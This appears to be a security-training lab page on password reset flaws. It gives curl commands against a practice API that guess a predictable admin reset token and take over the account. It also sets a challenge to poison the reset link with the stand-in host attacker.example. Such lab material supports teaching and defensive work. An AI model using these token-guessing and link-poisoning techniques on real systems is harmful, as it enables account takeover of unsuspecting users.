Password Reset · Lab 08
Lab 08 Module 1 Medium

Password Reset Vulnerabilities

A reset form asks for your email. It sends a reset token to you. The token is not random. Once you see the pattern, you can reset anyone's password.

The rule: you have access to demo@hunterlian.lab. The target is admin@hunterlian.lab. Your job is to reset the admin's password without their email.

Test

Copy these. Run them. Read what comes back.

Step 1 · Request a reset for yourself

The reset endpoint takes an email and returns a token. In a real system this token would be emailed. Here it's returned in the response so you can study it.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/08/reset-request" \
  -H "Content-Type: application/json" \
  -d '{"email":"demo@hunterlian.lab"}'

What you'll see:

Response
{
  "ok": true,
  "token": "reset_demo_1001"
}

Look at it: reset_demo_1001. The token contains the username. It is not random. It is constructed from values the server already knows.

Step 2 · Confirm the reset with your token

Send it back to the confirmation endpoint with a new password.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/08/reset-confirm" \
  -H "Content-Type: application/json" \
  -d '{"token":"reset_demo_1001","new_password":"newpass123"}'

What you'll see:

Response
{
  "ok": true,
  "user": "demo",
  "note": "password updated"
}

The server accepted the token. It did not ask where you got it. It did not check that the token was for you. It just looked up the token in the same predictable format.

Step 3 · Guess the admin's token

If demo got reset_demo_1001, then admin probably gets reset_admin_1000. Try it.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/08/reset-confirm" \
  -H "Content-Type: application/json" \
  -d '{"token":"reset_admin_1000","new_password":"owned"}'

What you'll see:

Response
{
  "ok": true,
  "user": "admin",
  "note": "password updated"
}

You just reset the admin's password. You never saw their email. You never received a reset link. You just guessed a token the server was willing to accept.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The reset flow has one more flaw. When you request a reset, the server also takes a host parameter to build the reset link — the link that goes in the email. The server does not validate that host. If you send a host you control, the reset link points to your server instead of Hunterlian's.

There is a user in the system named victim. Request a reset for their email with host set to attacker.example. The server will happily construct the poisoned link and return it. The flag is in the returned link.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 08 — Password Reset Vulnerabilities

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 08 of 30 Next lab